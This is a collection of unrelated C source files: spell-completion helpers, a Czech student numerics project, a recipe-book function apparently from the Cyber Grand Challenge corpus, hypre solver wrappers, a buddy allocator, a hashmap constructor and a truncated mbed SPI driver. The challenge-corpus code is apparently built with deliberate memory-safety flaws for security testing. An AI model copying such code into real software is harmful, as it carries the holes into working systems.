*start, win_T *win) { char_u *p = start; while (*p != NUL && spell_iswordp(p, win)) { MB_PTR_ADV(p); } return p; } // For Insert mode completion CTRL-X s: // Find start of the word in front of column "startcol". // We don't check if it is badly spelled, with completion we can only change // the word in front of the cursor. // Returns the column number of the word. int spell_word_start(int startcol) { char_u *line; char_u *p; int col = 0; if (no_spell_checking(curwin)) { return startcol; } // Find a word character before "startcol". line = get_cursor_line_ptr(); for (p = line + startcol; p > line;) { MB_PTR_BACK(line, p); if (spell_iswordp_nmw(p, curwin)) { break; } } // Go back to start of the word. while (p > line) { col = (int)(p - line); MB_PTR_BACK(line, p); if (!spell_iswordp(p, curwin)) { break; } col = 0; } return col; } // Need to check for 'spellcapcheck' now, the word is removed before // expand_spelling() is called. Therefore the ugly global variable. static bool spell_expand_need_cap; void spell_expand_check_cap(colnr_T col) { spell_expand_need_cap = check_need_cap(curwin->w_cursor.lnum, col); } // Get list of spelling suggestions. // Used for Insert mode completion CTRL-X ?. // Returns the number of matches. The matches are in "matchp[]", array of // allocated strings. int expand_spelling(linenr_T lnum, char_u *pat, char_u ***matchp) { garray_T ga; spell_suggest_list(&ga, pat, 100, spell_expand_need_cap, true); *matchp = ga.ga_data; return ga.ga_len; }
205689.c
/* * Soubor: proj2.c * Datum: 2010/11/21 * Autor: David Molnar, [email protected] * Projekt: Iteracni vypocty, projekt c. 2 pro predmet IZP */ // prace se vstupem/vystupem #include <stdio.h> // obecne funkce jazyka C #include <stdlib.h> // kvuli funkci strcmp #include <string.h> // testovani znaku - isalpha, isdigit, atd. #include <ctype.h> // pro testovani programu // #include <assert.h> // limity ciselnych typu #include <limits.h> // typ bool, konstanty true, false #include <stdbool.h> // promenna errno #include <errno.h> // matematicke funkcie, konstanta NAN #include <math.h> /** Konstanty */ const double IZP_E = 2.7182818284590452354; // e const double IZP_PI = 3.14159265358979323846; // pi const double IZP_2PI = 6.28318530717958647692; // 2*pi const double IZP_PI_2 = 1.57079632679489661923; // pi/2 const double IZP_PI_4 = 0.78539816339744830962; // pi/4 /** Kody chyb programu */ enum tecodes { EOK = 0, /**< Bez chyby */ ECLWRONG, /**< Chybny prikazovy radek. */ ESIG, /**< Chybny sigdig. */ EBASE, /**< Chybny zaklad logaritmu. */ EEND, /**< Neocakavany konec vstupu. */ ECONV, /**< Konverzacna chyba! */ EUNKNOWN, /**< Neznama chyba */ }; /** Stavove kody programu */ enum tstates { CHELP, /**< Napoveda */ CTANH, /**< Hyperbolicky tangens */ CLOGAX, /**< Obecny logaritmus */ CWAM, /**< Vazeny aritmeticky prumer */ CWQM, /**< Vazeny kvadraticky prumer */ }; /** Chybova hlaseni odpovidajici chybovym kodum. */ const char *ECODEMSG[] = { /* EOK */ "Vse v poradku.\n", /* ECLWRONG */ "Chybne parametry prikazoveho radku!\n", /* ESIG */ "Chybny sigdig!\n", /* EBASE */ "Chybny zaklad logaritmu!\n", /* EEND */ "Neocakavany konec vstupu!\n", /* ECONV */ "Chyba pri konverzii!\n", /* EUNKNOWN */ "Neznama chyba!\n", }; const char *HELPMSG = "Program Iteracni vypocty\n" "Autor: David Molnar (c) 2010\n" "Pouziti: proj2 -h\n" " proj2 --tanh sigdig\n" " proj2 --logax sigdig a\n" " proj2 --wam\n" " proj2 --wqm\n" "Popis parametru:\n" " -h: zobrazeni napovedi\n" " --tanh: hyperbolicky tangens\n" " --logax: obecny logaritmus s zakladom a\n" " --wam: vazeny aritmeticky prumer\n" " -wqm: vazeny kvadraticky prumer\n" " sigdig: presnost zadana jako pocet platnych cifer (significant digits)\n"; /** * Struktura obsahujici hodnoty parametru prikazove radky. */ typedef struct params { unsigned int sigdig; /**< Pocet platnych cifer. */ double base; /**< Zaklad logaritmu. */ int ecode; /**< Chybovy kod programu, odpovida vvctu tecodes. */ int state; /**< Stavovy kod programu, odpovida vyctu tstates. */ } TParams; /** * Struktura obsahujici hodnoty pre statisticke funke wam a wqm */ typedef struct avParams { double num; /**< Prvek posloupnosti. */ double h; /**< Vaha prvku posloupnosti. */ double sum1; double sum2; } TAvParams; /** * Vytiskne hlaseni odpovidajici chybovemu kodu. * @param ecode kod chyby programu */ void printECode(int ecode) { if (ecode < EOK || ecode > EUNKNOWN) { ecode = EUNKNOWN; } fprintf(stderr, "%s", ECODEMSG[ecode]); } /** * Konvertuje posloupnost znaku na unsigned int * V pripade, ze vse probehlo v poradku, nastavi * errcode na EOK. *@param str posloupnost znaku, z ktere ziskame cislo *@param errcode */ unsigned int char2uint(char *str, int *errcode) { errno = 0; // errno na nulu *errcode = EOK; // errcode na OK char *endptr; unsigned long val = strtoul(str, &endptr, 10); //konverzia unsigned int result = 0; if ((errno == ERANGE && val == ULONG_MAX) || val > UINT_MAX || strchr(str, '-') != NULL || str == endptr) { // nastala chyba *errcode = ECONV; } else { result = (unsigned int)val; } return result; } /** * Konvertuje posloupnost znaku na double * V pripade, ze vse probehlo v poradku, nastavi * errcode na EOK. *@param str posloupnost znaku, z ktere ziskame cislo *@param errcode */ double char2double(char *str, int *errcode) { errno = 0; // errno na nulu *errcode = EOK; // errcode na OK char *endptr; double result = strtod(str, &endptr); //konverzia if (errno == ERANGE || errno == EINVAL || (str == endptr && *endptr == '\0')) { // nastala chyba *errcode = ECONV; } return result; } /** * Zpracuje argumenty prikazoveho radku a vrati je ve strukture TParams. * Pokud je format argumentu chybny, ukonci program s chybovym kodem. * @param argc Pocet argumentu. * @param argv Pole textovych retezcu s argumenty. * @return Vraci analyzovane argumenty prikazoveho radku. */ TParams getParams(int argc, char *argv[]) { TParams result = { // inicializace struktury .ecode = EOK, .state = 0, .sigdig = 0, .base = NAN }; if (argc == 2) { // jeden parameter if (strcmp("-h", argv[1]) == 0) { result.state = CHELP; } else if (strcmp("--wam", argv[1]) == 0) { result.state = CWAM; } else if (strcmp("--wqm", argv[1]) == 0) { result.state = CWQM; } else { result.ecode = ECLWRONG; } } else if (argc == 3) { // dva parametry if (strcmp("--tanh", argv[1]) == 0) { result.state = CTANH; int errcode = EOK; int sigdig = char2uint(argv[2], &errcode); if (errcode != EOK || sigdig == 0) { // nastala chyba result.ecode = ESIG; } else { result.sigdig = sigdig; } } else { result.ecode = ECLWRONG; } } else if (argc == 4) { // try parametry if (strcmp("--logax", argv[1]) == 0) { result.state = CLOGAX; int errcode = EOK; int sigdig = char2uint(argv[2], &errcode); if (errcode != EOK || sigdig == 0) { // nastala chyba result.ecode = ESIG; } else { result.sigdig = sigdig; } if (errcode == EOK) { errcode = EOK; double base = char2double(argv[3], &errcode); if (errcode != EOK || isnan(base)|| isinf(base) || base <= 0.0 || base == 1.0) { // nastala chyba result.ecode = EBASE; } else { result.base = base; } } } else { result.ecode = ECLWRONG; } } else { result.ecode = ECLWRONG; } return result; } /** * Z pocet platnych cifer ziskame epsilon * Vraci 0.1^sigdig *@param sigdig pocet platnych cifer */ double sd2eps(unsigned int sigdig) { double eps = 1; while (sigdig > 0) { eps *= 0.1; sigdig -= 1; } return eps; } /** * Hyperbolicky sinus *@param num cislo, z ktere ziskame sinh *@param sigdig pocet platnych cifer */ double sinush(double num, unsigned int sigdig) { if (sigdig < 1) { return NAN; } if (isnan(num)|| isinf(num)) { return num; } double x = num; double x2 = num * num; double result = x; double presult = 0; double k = 0; double fakt = 1; double eps = sd2eps(sigdig); while (fabs(result - presult) > eps) { x *= x2; k += 2; fakt *= k * (k + 1); presult = result; result = presult + x / fakt; } return result; } /** * Hyperbolicky cosinus *@param num cislo, z ktere ziskame cosh *@param sigdig pocet platnych cifer */ double cosinush(double num, unsigned int sigdig) { if (sigdig < 1) { return NAN; } if (isnan(num)|| isinf(num)) { return num; } double x = 1; double x2 = num * num; double result = x; double presult = 0; double k = 1; double fakt = 1; double eps = sd2eps(sigdig); while (fabs(result - presult) > eps) { x *= x2; fakt *= k * (k + 1); k += 2; presult = result; result = presult + x / fakt; } return result; } /** * Hyperbolicky tangens *@param num cislo, z ktere ziskame tanh *@param sigdig pocet platnych cifer */ double tangensh(double num, unsigned int sigdig) { if (sigdig < 1) { return NAN; } if (isnan(num)|| isinf(num)) { return num; } double s = sinush(num, sigdig); double c = cosinush(num, sigdig); return s / c; } /** * Naturalny logaritmus *@param num cislo, z ktere ziskame ln *@param sigdig pocet platnych cifer */ double logex(double num, unsigned int sigdig) { if (sigdig < 1 || num < 0) { return NAN; } if (num == 0) { return INFINITY; } if (isnan(num) || isinf(num)) { return num; } double f = (num - 1) / (num + 1); double f2 = f * f; double sum = f; double presult = 0; double result = 2 * f; double k = 1; double eps = sd2eps(sigdig + 1); while (fabs(result - presult) > (presult * eps)) { k += 2; f *= f2; sum += f / k; presult = result; result = 2 * sum; } return result; } /** * Obecny logaritmus sinus *@param num cislo, z ktere ziskame log *@param sigdig pocet platnych cifer */ double logax(double num, double base, unsigned int sigdig) { if (num <= 0 || base < 0 || base == 1) { return NAN; } if (base == 0) { return INFINITY; } if (isnan(num) || isinf(num)) { return num; } double log1 = logex(num, sigdig); double log2 = logex(base, sigdig); return log1 / log2; } /** * Vazeny aritmeticky prumer *@param avParams */ double wam(TAvParams *avParams) { if (avParams->h < 0) { // vaha nemoze byt zaporna return NAN; } avParams->sum1 += avParams->num * avParams->h; avParams->sum2 += avParams->h; return avParams->sum1 / avParams->sum2; } /** * Vazeny kvadraticky prumer *@param avParams */ double wqm(TAvParams *avParams) { if (avParams->h < 0) { // vaha nemoze byt zaporna return NAN; } avParams->sum1 += avParams->num * avParams->num * avParams->h; avParams->sum2 += avParams->h; return sqrt(avParams->sum1 / avParams->sum2); } /** * Vypise cislo v danej formate na stdout *@param num cislo, ktere vypise */ void printNum(double num) { printf("%.10e\n", num); } ///////////////////////////////////////////////////////////////// /** * Hlavni program. */ int main(int argc, char *argv[]) { TParams params = getParams(argc, argv); if (params.ecode != EOK) { // nico nestandardniho printECode(params.ecode); return EXIT_FAILURE; } if (params.state == CHELP) { // tisk napovedi printf("%s", HELPMSG); return EXIT_SUCCESS; } double num; int status; bool next = false; TAvParams avParams = { // inicializace .num = 0, .h = 0, .sum1 = 0, .sum2 = 0 }; while((status = scanf("%lf", &num)) != EOF) { if (status != 1) { // nejaka chyba pri nacitani cisla, vypiseme NAN printNum(NAN); scanf("%*s"); continue; } double result; if (params.state == CTANH) { // hyperbolicky tangens result = tangensh(num, params.sigdig); printNum(result); } else if (params.state == CLOGAX) { // obecny logaritmus result = logax(num, params.base, params.sigdig); printNum(result); } else if (params.state == CWAM || params.state == CWQM) { //prumeri if (next) { avParams.h = num; result = (params.state == CWAM) ? wam(&avParams) : wqm(&avParams); } else { avParams.num = num; } if (next) { printNum(result); } next = !next; } } if (next) { printECode(EEND); return EXIT_FAILURE; } return EXIT_SUCCESS; } /* konec proj2.c */
950407.c
/* Author: Steve Wood <[email protected]> Copyright (c) 2014 Cromulence LLC Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "libcgc.h" #include "cgc_stdlib.h" #include "cgc_service.h" #define BUFF_SIZE 200 int cgc_new_recipe(Recipe_Type **book) { Recipe_Type *recipe; Recipe_Type *previous; char buffer[BUFF_SIZE]; cgc_size_t size; previous = 0; if (*book == 0) { *book = cgc_malloc(sizeof(Recipe_Type)); if (*book==0) { cgc_printf("Failed to allocate memory\n"); cgc__terminate(-1); } recipe = *book; } else { recipe = *book; while(recipe->next != 0) recipe = recipe->next; recipe->next = cgc_malloc(sizeof(Recipe_Type)); if (recipe->next == 0) { cgc_printf("Failed to allocate memory\n"); cgc__terminate(-1); } previous = recipe; recipe = recipe->next; } recipe->Tagged = 0; recipe->next = 0; cgc_printf("Enter Title: "); size=cgc_getline(buffer, sizeof(buffer)); if (size <=1) { if (recipe == *book) { *book = 0; } cgc_free(recipe); if (previous) previous->next = 0; return (-1); } else { cgc_strncpy(recipe->Title, buffer, BUFF_SIZE); } if (cgc_get_ingredients(recipe) == 0) { if (*book == recipe) { *book = 0; } cgc_free(recipe); if (previous) previous->next = 0; return (-1); } // instructions can be left blank as some recipes are just ingredients cgc_get_instructions(recipe); return(0); }
342870.c
/****************************************************************************** * Copyright (c) 1998 Lawrence Livermore National Security, LLC and other * HYPRE Project Developers. See the top-level COPYRIGHT file for details. * * SPDX-License-Identifier: (Apache-2.0 OR MIT) ******************************************************************************/ #include <stdlib.h> #include <string.h> #include <stdio.h> #include <math.h> #include "utilities/_hypre_utilities.h" #include "HYPRE.h" #include "IJ_mv/HYPRE_IJ_mv.h" #include "parcsr_mv/HYPRE_parcsr_mv.h" #include "parcsr_mv/_hypre_parcsr_mv.h" #include "parcsr_ls/HYPRE_parcsr_ls.h" #include "HYPRE_FEI.h" #include "_hypre_FEI.h" /****************************************************************************** * * HYPRE_ParCSRBiCGSTABL interface * *****************************************************************************/ extern void *hypre_BiCGSTABLCreate(); extern int hypre_BiCGSTABLDestroy(void *); extern int hypre_BiCGSTABLSetup(void *, void *, void *, void *); extern int hypre_BiCGSTABLSolve(void *, void *, void *, void *); extern int hypre_BiCGSTABLSetTol(void *, double); extern int hypre_BiCGSTABLSetSize(void *, int); extern int hypre_BiCGSTABLSetMaxIter(void *, int); extern int hypre_BiCGSTABLSetStopCrit(void *, double); extern int hypre_BiCGSTABLSetPrecond(void *, int (*precond)(void*,void*,void*,void*), int (*precond_setup)(void*,void*,void*,void*), void *); extern int hypre_BiCGSTABLSetLogging(void *, int); extern int hypre_BiCGSTABLGetNumIterations(void *,int *); extern int hypre_BiCGSTABLGetFinalRelativeResidualNorm(void *, double *); /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLCreate *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLCreate( MPI_Comm comm, HYPRE_Solver *solver ) { *solver = (HYPRE_Solver) hypre_BiCGSTABLCreate( ); return 0; } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLDestroy *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLDestroy( HYPRE_Solver solver ) { return( hypre_BiCGSTABLDestroy( (void *) solver ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSetup *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetup( HYPRE_Solver solver, HYPRE_ParCSRMatrix A, HYPRE_ParVector b, HYPRE_ParVector x ) { return( hypre_BiCGSTABLSetup( (void *) solver, (void *) A, (void *) b, (void *) x ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSolve *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSolve( HYPRE_Solver solver, HYPRE_ParCSRMatrix A, HYPRE_ParVector b, HYPRE_ParVector x ) { return( hypre_BiCGSTABLSolve( (void *) solver, (void *) A, (void *) b, (void *) x ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSetTol *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetTol( HYPRE_Solver solver, double tol ) { return( hypre_BiCGSTABLSetTol( (void *) solver, tol ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSetSize *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetSize( HYPRE_Solver solver, int size ) { return( hypre_BiCGSTABLSetSize( (void *) solver, size ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSetMaxIter *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetMaxIter( HYPRE_Solver solver, int max_iter ) { return( hypre_BiCGSTABLSetMaxIter( (void *) solver, max_iter ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABSetStopCrit *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetStopCrit( HYPRE_Solver solver, int stop_crit ) { return( hypre_BiCGSTABLSetStopCrit( (void *) solver, stop_crit ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSetPrecond *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetPrecond( HYPRE_Solver solver, int (*precond) (HYPRE_Solver sol, HYPRE_ParCSRMatrix matrix, HYPRE_ParVector b, HYPRE_ParVector x), int (*precond_setup)(HYPRE_Solver sol, HYPRE_ParCSRMatrix matrix, HYPRE_ParVector b, HYPRE_ParVector x), void *precond_data ) { return( hypre_BiCGSTABLSetPrecond( (void *) solver, (HYPRE_Int (*)(void*,void*,void*,void*))precond, (HYPRE_Int (*)(void*,void*,void*,void*))precond_setup, precond_data ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLSetLogging *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLSetLogging( HYPRE_Solver solver, int logging) { return( hypre_BiCGSTABLSetLogging( (void *) solver, logging ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABGetNumIterations *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLGetNumIterations(HYPRE_Solver solver,int *num_iterations) { return( hypre_BiCGSTABLGetNumIterations( (void *) solver, num_iterations ) ); } /*-------------------------------------------------------------------------- * HYPRE_ParCSRBiCGSTABLGetFinalRelativeResidualNorm *--------------------------------------------------------------------------*/ int HYPRE_ParCSRBiCGSTABLGetFinalRelativeResidualNorm( HYPRE_Solver solver, double *norm ) { return( hypre_BiCGSTABLGetFinalRelativeResidualNorm( (void *) solver, norm ) ); }
977341.c
#include "buddy_sys.h" #include "dlist.h" #include "global_type.h" #include "get_struct_pointor.h" #include "string.h" //debug //#include "kputx.h" //enddebug /* * 用这个魔数以及链表节点的头指针来表示这个叶帧块没有分配出去 * 虽然这个方法有缺陷,但省去了bitmap的操作 */ #define __BUDDY_SYS_MAGIC 0x19841215U // 向上取整页数 #define up_align( addr ) \ ( ((addr) & 0x00000fff) ? \ ( ((addr) & 0xfffff000) + 0x1000) : \ (addr) ) // 向下取整页数 #define down_align( addr ) \ ( (addr) & 0xfffff000 ) // 判断是否可以合并,能合并返回TRUE,不能合并返回FALSE #define can_union( addr, order ) \ ( (addr) % (((1 << (order)) * __PAGE_SIZE) << 1) ? FALSE : TRUE ) // ( b * 2 ^ 12 * 2) // 找到buddy的首地址 #define find_buddy( addr, order ) \ ( (addr) + (__PAGE_SIZE << (order)) ) // 判断找到的buddy是否没用被使用,满足三个条件才算未使用 // 1. 存在魔数 // 2. 阶相等 // 3. 头节点正确 #define unused_buddy( addr, order ) \ ( ((buddy_mgr_node_t *)(addr))->magic == __BUDDY_SYS_MAGIC && \ ((buddy_mgr_node_t *)(addr))->order == order && \ ((buddy_mgr_node_t *)(addr))->dlnode.dlhead == &(free_zone.buddy_array[order]) ) typedef struct s_buddy_mgr_node { uint32_t magic ; // 存储魔数 uint32_t order ; // 这一块页的阶 dlist_node_t dlnode ; // 用于和 buddy_array 中的链表头组成双现链表 } buddy_mgr_node_t ; typedef struct s_free_page_array { dlist_head_t buddy_array[__BUDDY_SYS_MAX_ORDER+1] ; //最大支持1024个页面的分配,即 4M //uint32_t free_pages ; } free_page_array_t ; static free_page_array_t free_zone ; // 内存由调用者管理 static inline bool_t init_buddy_mgr_node( buddy_mgr_node_t *bmnode, uint32_t order ) ; // 合并伙伴关系 static inline void union_buddy( uint32_t phy_addr, uint32_t order ) ; // 将页面数量转化为order,切保证满足页面申请的要求 static inline uint32_t pgcount_to_order( uint32_t pg_count ) ; // 初始化伙伴系统 bool_t init_buddy_system( uint32_t begin_phy_addr, uint32_t total_mem ) { int loop, loop_order ; uint32_t align_begin, align_end, pg_addr ; dlist_node_t *tmpdnode ; buddy_mgr_node_t *tmp_bmnode ; align_begin = up_align( begin_phy_addr ) ; align_end = down_align( total_mem ) ; //debug //kputstr( "\n begin addr: " ); //kput_uint32_hex( align_begin ) ; //kputstr( "\n end addr: " ); //kput_uint32_hex( align_end ) ; //kputchar( '\n' ) ; //return FALSE ; //enddebug //debug //kputstr( "\ndlist_head_t size is : ") ; //kput_uint32_hex( sizeof(dlist_head_t) ) ; //kputchar( '\n' ) ; //kputstr( "buddy_mgr_node_t size is : ") ; //kput_uint32_hex( sizeof(buddy_mgr_node_t) ) ; //kputchar( '\n' ) ; //enddebug //说明没用多余的可用内存了 if( align_begin > align_end ) return FALSE ; //初始化 free_page_array_t free_zone 数据结构 //free_zone.free_pages = (align_end - align_begin) / __PAGE_SIZE ; for( loop = 0 ; loop <= __BUDDY_SYS_MAX_ORDER ; loop ++ ) if( init_dlist( &(free_zone.buddy_array[loop] ) ) == FALSE ) return FALSE ; //debug //kputstr( "\nfree_zone initail done\n" ) ; //enddebug //把所有的内存都放到 order = 0 的链表中,然后调用 union_buddy 合并伙伴 for( pg_addr = align_begin ; pg_addr < align_end ; pg_addr += __PAGE_SIZE ) { tmp_bmnode = (buddy_mgr_node_t *)pg_addr ; if( init_buddy_mgr_node( tmp_bmnode, 0 ) ) // 从链表尾插入,这样链表就是从低地址到高地址排列 add_dlnode( free_zone.buddy_array[0].tail.prev , &(tmp_bmnode->dlnode) ) ; } //debug //kputstr( "\nbuddy_array begin addr: " ) ; //kput_uint32_hex( (uint32_t )free_zone.buddy_array ) ; //kputstr( "\n0 order list insert done\n" ) ; //kputchar( '\n' ) ; //enddebug for( loop_order = 0 ; loop_order < __BUDDY_SYS_MAX_ORDER ; loop_order++ ) { loop = free_zone.buddy_array[loop_order].ncnt ; while( loop && ( tmpdnode = del_dlnode( free_zone.buddy_array[loop_order].head.next ) ) != NULL ) { loop -- ; tmp_bmnode = get_struct_pointor( buddy_mgr_node_t, dlnode, tmpdnode ) ; //debug //kput_uint32_hex( (uint32_t)tmpdnode ) ; //kput_uint32_hex( (uint32_t)tmp_bmnode ) ; //enddebug union_buddy( (uint32_t )tmp_bmnode, loop_order ) ; } } return TRUE ; } // 申请页面.成功,返回物理地址的整数值;失败返回0 // 申请页面的时候,最大可以一次性申请1024个页面 // 由于使用了伙伴系统,所以页面都是2的幂对齐的 // 分配的页面数量会满足需求,但如果请求的页面不是2的幂的数量, // 则会多分配一些页面,有点浪费哦 uint32_t alloc_pages( uint32_t pg_count ) { uint32_t order, loop_order ; dlist_node_t *dnode ; buddy_mgr_node_t *bmnode = 0, *splite_bmnode ; if( pg_count == 0 ) goto ret_val ; order = pgcount_to_order( pg_count ) ; if( order > __BUDDY_SYS_MAX_ORDER ) goto ret_val ; //debug //kputstr( "pg_count :" ) ; //kput_uint32_dec( pg_count ) ; //kputchar( '\n' ) ; //kputstr( "order :" ) ; //kput_uint32_dec( order ) ; //kputchar( '\n' ) ; //return 0 ; //enddebug if( free_zone.buddy_array[order].ncnt != 0 ) { dnode = del_dlnode( free_zone.buddy_array[order].head.next ) ; bmnode = get_struct_pointor( buddy_mgr_node_t, dlnode, dnode ) ; goto ret_val ; } else { for( loop_order = order + 1 ; loop_order <= __BUDDY_SYS_MAX_ORDER ; loop_order++ ) { if( free_zone.buddy_array[loop_order].ncnt != 0 ) { //把有空闲内存的节点从链表中删除 dnode = del_dlnode( free_zone.buddy_array[loop_order].head.next ) ; bmnode = get_struct_pointor( buddy_mgr_node_t, dlnode, dnode ) ; //把节点从原链表中删除,并且分裂成两个节点 for( ; loop_order > order ; loop_order-- ) { bmnode->order-- ; splite_bmnode = (buddy_mgr_node_t *)find_buddy((uint32_t )bmnode, bmnode->order ) ; init_buddy_mgr_node( splite_bmnode, bmnode->order ) ; //在链表头插入分裂出来的节点 add_dlnode( &(free_zone.buddy_array[bmnode->order].head), &(splite_bmnode->dlnode) ) ; } goto ret_val ; } } } ret_val : if( bmnode != 0 ) memset( (void *)bmnode, 0, (1 << order) * __PAGE_SIZE ) ; return (uint32_t )bmnode ; } // 释放页面. void free_pages( uint32_t pg_phy_addr, uint32_t pg_count ) { uint32_t order ; if( pg_count == 0 ) return ; order = pgcount_to_order( pg_count ) ; if( order > __BUDDY_SYS_MAX_ORDER ) return ; //debug //kputstr( "pg_count :" ) ; //kput_uint32_dec( pg_count ) ; //kputchar( '\n' ) ; //kputstr( "order :" ) ; //kput_uint32_dec( order ) ; //kputchar( '\n' ) ; //return 0 ; //enddebug union_buddy( pg_phy_addr, order ) ; } static inline bool_t init_buddy_mgr_node( buddy_mgr_node_t *bmnode, uint32_t order ) { bmnode->magic = __BUDDY_SYS_MAGIC ; bmnode->order = order ; return init_dlnode( &(bmnode->dlnode) ) ; } static inline void union_buddy( uint32_t phy_addr, uint32_t order ) { buddy_mgr_node_t *bmnode, *buddy_bmnode ; uint32_t buddy_addr ; // 哈哈 伙伴系统出错了,超出了最大的 order if( order > __BUDDY_SYS_MAX_ORDER ) return ; if( order == __BUDDY_SYS_MAX_ORDER ) goto insert_to_list ; //debug //kputstr( "\ncan union? \n" ) ; //enddebug if( can_union( phy_addr, order ) ) { buddy_addr = find_buddy( phy_addr, order ) ; //debug //kputstr( "\ncan union\nbuddy_addr = " ) ; //kput_uint32_hex( buddy_addr ) ; //kputchar('\n') ; //enddebug if( unused_buddy( buddy_addr, order ) ) { // 合并伙伴关系 buddy_bmnode = (buddy_mgr_node_t *)buddy_addr ; // 从相应order链表中删除伙伴 del_dlnode( &(buddy_bmnode->dlnode) ) ; union_buddy( phy_addr, order + 1 ) ; } else goto insert_to_list ; } else { insert_to_list : bmnode = (buddy_mgr_node_t *)phy_addr ; init_buddy_mgr_node( bmnode, order ) ; //在链表末尾添加新的节点 add_dlnode( free_zone.buddy_array[order].tail.prev, &(bmnode->dlnode) ) ; } return ; } static inline uint32_t pgcount_to_order( uint32_t pg_count ) { uint32_t order ; uint32_t mask = 0xffffffff ; asm volatile ( "bsr %k1,%k0" : "=a"(order) : "b"(pg_count) : "cc", "memory" ) ; if( order != 0 ) { mask >>= ( sizeof(uint32_t) * 8 - order ) ; if( (pg_count & mask) != 0 ) order++ ; } return order ; }
533400.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* hashmap_create_table.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: lcouto <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/07 00:48:28 by user42 #+# #+# */ /* Updated: 2021/07/11 17:07:25 by lcouto ### ########.fr */ /* */ /* ************************************************************************** */ #include "minishell.h" t_hashmap *hashmap_create_table(unsigned int size) { t_hashmap *new_table; unsigned int i; i = 0; new_table = (t_hashmap *)ft_calloc(sizeof(t_hashmap), 1); new_table->size = size; new_table->count = 0; new_table->pairs = (t_pair **)ft_calloc(sizeof(t_hashmap), size); while (i < size) { new_table->pairs[i] = NULL; i++; } return (new_table); }
44470.c
/* mbed Microcontroller Library * Copyright (c) 2006-2013 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "mbed_assert.h" #include <math.h> #include "spi_api.h" #include "cmsis.h" #include "pinmap.h" #include "mbed_error.h" #include "RZ_A1_Init.h" static const PinMap PinMap_SPI_SCLK[] = { {P10_12, SPI_0, 4}, {P11_12, SPI_1, 2}, {P8_3 , SPI_2, 3}, {NC , NC , 0} }; static const PinMap PinMap_SPI_SSEL[] = { {P10_13, SPI_0, 4}, {P11_13, SPI_1, 2}, {P8_4 , SPI_2, 3}, {NC , NC , 0} }; static const PinMap PinMap_SPI_MOSI[] = { {P10_14, SPI_0, 4}, {P11_14, SPI_1, 2}, {P8_5 , SPI_2, 3}, {NC , NC , 0} }; static const PinMap PinMap_SPI_MISO[] = { {P10_15, SPI_0, 4}, {P11_15, SPI_1, 2}, {P8_6 , SPI_2, 3}, {NC , NC , 0} }; static const struct st_rspi *RSPI[] = RSPI_ADDRESS_LIST; static inline void spi_disable(spi_t *obj); static inline void spi_enable(spi_t *obj); static inline int spi_readable(spi_t *obj); static inline void spi_write(spi_t *obj, int value); static inline int spi_read(spi_t *obj); void spi_init(spi_t *obj, PinName mosi, PinName miso, PinName sclk, PinName ssel) { // determine the SPI to use volatile uint8_t dummy; uint32_t spi_mosi = pinmap_peripheral(mosi, PinMap_SPI_MOSI); uint32_t spi_miso = pinmap_peripheral(miso, PinMap_SPI_MISO); uint32_t spi_sclk = pinmap_peripheral(sclk, PinMap_SPI_SCLK); uint32_t spi_ssel = pinmap_peripheral(ssel, PinMap_SPI_SSEL); uint32_t spi_data = pinmap_merge(spi_mosi, spi_miso); uint32_t spi_cntl = pinmap_merge(spi_sclk, spi_ssel); uint32_t spi = pinmap_merge(spi_data, spi_cntl); MBED_ASSERT((int)spi != NC); obj->spi = (struct st_rspi *)RSPI[spi]; // enable power and clocking switch (spi) { case SPI_0: CPGSTBCR10 &= ~(0x80); break; case SPI_1: CPGSTBCR10 &= ~(0x40); break; case SPI_2: CPGSTBCR10 &= 